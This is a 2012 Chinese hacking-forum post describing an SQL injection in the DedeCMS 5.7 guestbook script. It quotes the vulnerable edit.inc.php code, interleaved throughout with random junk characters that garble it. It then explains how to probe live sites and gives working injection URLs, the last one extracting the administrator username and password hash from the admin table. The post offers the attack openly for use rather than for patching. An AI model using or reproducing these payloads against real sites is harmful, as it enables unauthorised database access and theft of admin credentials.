找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3838|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
, k* o& Y4 r( [( h* z; E& Z% [6 P1 x% n, S. n6 {7 |
漏洞文件edit.inc.php具体代码:
! }' h5 k: W# E4 H8 w0 _$ g3 |  m3 M0 U
- l* M9 T2 f8 I% N5 J# m! r; V/ j4 b2 `< ?php  
6 t2 @6 I0 Y* d: R0 r, v( m, }' ^5 z# n: X* j4 B" o. D
if(!defined('DEDEINC')) exit('Request Error!');  1 s/ x6 q1 l. x2 J7 q

! X6 o) A1 n' ?+ G   
0 X% A; B: e4 p  x* d5 V
+ Y3 x/ G# A6 t4 K) O' O: oif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
; E+ z/ v+ Z  V: [, h
' p+ l7 z) J8 B& _else $GUEST_BOOK_POS = "guestbook.php";  
/ v: N# P$ u% d) V- j& M& E) u0 J; g) R8 l
   
, w9 o! b/ I( L! U% I4 z0 N/ y" T" B* u3 F1 W0 o1 C7 n! a" z
$id = intval($id);  $ ~9 T( x- W  U5 y6 X; K
9 W5 t7 j! @% X" ^
if(empty($job)) $job='view';  ' M* f. P: M# z9 K! N# c. i4 O1 E" V
6 r7 X0 i. t$ `
   # c, x$ C" j8 t" w
. Z( k7 u5 x  t
if($job=='del' && $g_isadmin)  
) y' A5 L% X  j6 j' W8 `5 I% r6 n& \: I6 q, ]3 o1 [
{  
+ T9 F) H( y; B; L0 |7 L3 A
' b  L3 o9 _% l2 {) Y1 O% O$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  4 ?0 @% Q1 o# P4 [. Z; B* L2 e
+ C$ z/ P4 |  A, [
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  8 m' C  ]/ v  x4 o

2 H$ E5 f- K" E6 X" S% P1 {exit();  
8 @2 N& d# R, [2 U- f9 `. p+ r' f  J
}  * f5 _2 P8 g$ s) l* U
; P! _$ h9 |. k, ^8 [3 q
else if($job=='check' && $g_isadmin)  
9 O+ @. y; i, m
) R) \8 ]% ~* a{  
# W* v; Q  y! J. D, u1 t" E1 @; _
, U* l8 i' ?& U3 }$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  0 Q- C- U. u5 C& Z; V5 D" k

: i, v) @0 x- b1 A5 D, d8 l9 vShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
' h% L3 f( z; M. T! I- H% K
# X' c2 r0 }( n) z* ?7 V9 Qexit();  
. O" n( ]" W% S% Z3 J9 O
! Y/ s2 F. B: m4 [}    b4 }  L1 H" z8 M
, |* F- {' A1 N
else if($job=='editok')  
& |3 U8 k: J* t% a" k  z, S8 [: C1 k" y) @
{  
/ R7 n& F/ j4 X) I. b% P8 i: |" ~+ N5 X8 N" d* J* ^. g
$remsg = trim($remsg);  
6 \$ u2 p9 h% q/ N1 j: d) N+ }# g# n* H6 p/ I0 Q
if($remsg!='')  
2 Z& [' E  o* d6 a- t% G) e* @4 g8 {/ A' U4 h  \1 B
{  
6 L( ^+ {! D0 P; W5 r0 u
$ i* c2 t5 ~% o. L+ Y6 Q//管理员回复不过滤HTML By:Errorera blog:errs.cc  2 k8 H3 s& i8 q/ n" e
0 [/ M! I) I& |
if($g_isadmin)  
  o4 z$ O6 i( g0 u$ u8 a/ k1 d  y/ X! n' K* s' g/ t; c
{  
1 M4 P4 L: Z2 M8 h: `: f4 M0 a
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
, F: v( D; x4 U8 U
; F0 t- Q% c# e//$remsg <br /><font color=red>管理员回复:</font> }  # |% X! Q) t4 N
5 W" L. [; U% t3 Q8 A& [! `8 ?; Q3 T0 I
else
; ~. f0 t# O0 J) J6 I" X  [; N; k* W" Q( L+ _5 Z6 I
{  , g% x% T( S- N; O3 {3 S( ~
6 H1 |& G8 K# r4 e, g
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  4 y7 H1 j4 |5 f8 [& Z
0 i0 W  y9 ^' V6 O# |
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  : Y2 z8 J' H. O. J- T/ e7 d
3 H3 y' d4 B0 l) n+ V  |2 m8 Q
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
+ f8 Y" w8 G( \3 ~. D2 ?( S
  i6 `& p3 \4 `* u( H$msg = $oldmsg.$remsg;  
' d$ S. o+ m6 P* q; S
# o8 B9 A, h5 C" ~/ t}  
% b# L& w* f# O% \2 x; m6 Q" {/ o9 t! I& G: U8 u$ v% O+ }3 g* \4 T
}  
3 h# [% O" L8 l; ~4 U8 X* [/ U/ }+ H+ r/ A
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  1 C. p, V: J( `* T- Q" `8 P
( y0 H$ @; m% i7 I  c: u# k
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
8 s5 t: G2 e# H# b9 M* t+ ]$ v& y# i7 U
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
$ a) i, [& C% H, X. [$ ?; {: A. {9 P. Y- k3 l. Z$ q" Y
exit();  
' x/ N! j0 s# w+ u. S; [( R- q7 d) z- @5 }3 x  x- s
}  
- a! w* p  ^  F" L
% O( g3 e5 `# }% @" s//home:www.errs.cc  
  {6 X" `- @+ ^$ c8 }& z2 {
1 S$ f: P7 ^- B+ E" B& Kif($g_isadmin)  , S  n/ n0 }0 J: |; r

6 s. M, T1 Y+ q6 t/ K{    ~5 q2 R# H8 j! e

9 Q6 C7 h7 G) s+ Z$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  ) k7 U+ B/ ~9 |5 ?0 K7 k5 t5 o

1 U/ a4 b) v2 g1 U  Lrequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  3 q  b  U4 q1 b7 g2 _7 ^1 c  I
1 F7 {  Z/ x8 N* P
}  , {% S5 S5 ^7 ^4 a, \

& T9 X6 w7 {( ~1 m) Z- x$ F  E: velse # B) q% \4 r3 u4 X. N* p; U

% x3 W9 o& x  j" B! @{  ( m; ?: E9 y4 G! b  Y

$ q1 p: F( j0 D$ s$ _$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
: |. X( Q& p6 f! S9 D! h2 p& j/ A6 r: {  r5 s
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
* }$ |. P; g9 c1 [; z  Z" v6 R* C/ q! r9 Y4 t/ s5 w$ z. z
} 漏洞成功需要条件:
: |9 J0 C/ c3 N- b; `& S/ L0 T1. php magic_quotes_gpc=off
/ `/ |1 _3 J: H3 ^! B/ J2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
. W- g( ]; Z$ D: P$ X- Y
8 E) E0 p, ?  A& x- N怎么判断是否存在漏洞:8 [* i. h8 j# I+ e
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
7 y, U% d- p7 n$ k然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID9 Q( p' n8 i" I2 s1 D
访问:
& k% V. V% f+ u. M8 E; m, T; o6 z& H
; V  |' o  k' }9 o) m# E7 Fwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了5 L/ N2 g( S9 u, j# c
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
! E+ n9 f; t9 Y2 _5 E  T1 F1 x, ~, C6 [, g
8 O; S, _+ P) U! \* O5 X/ ?, {$ c1 H, y* k
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
" X: ]- B9 f% H4 b! i2 _" k如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
* o1 v& G8 J0 S# z那么再次访问
- t9 P0 L4 V& E
5 C) g8 t5 s8 N$ v3 g/ ]www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().1 i6 z( H* g' Z0 i

# p& o$ p4 Z% C/ u- R大概利用就是这样,大家有兴趣的多研究下!!
/ k# j6 d- @6 O2 |5 l& ?3 l1 |, z; ^7 I1 F
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!* T" \2 K4 l" \6 g) L) B
7 R+ Y' d1 r4 Y) a( j5 J
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表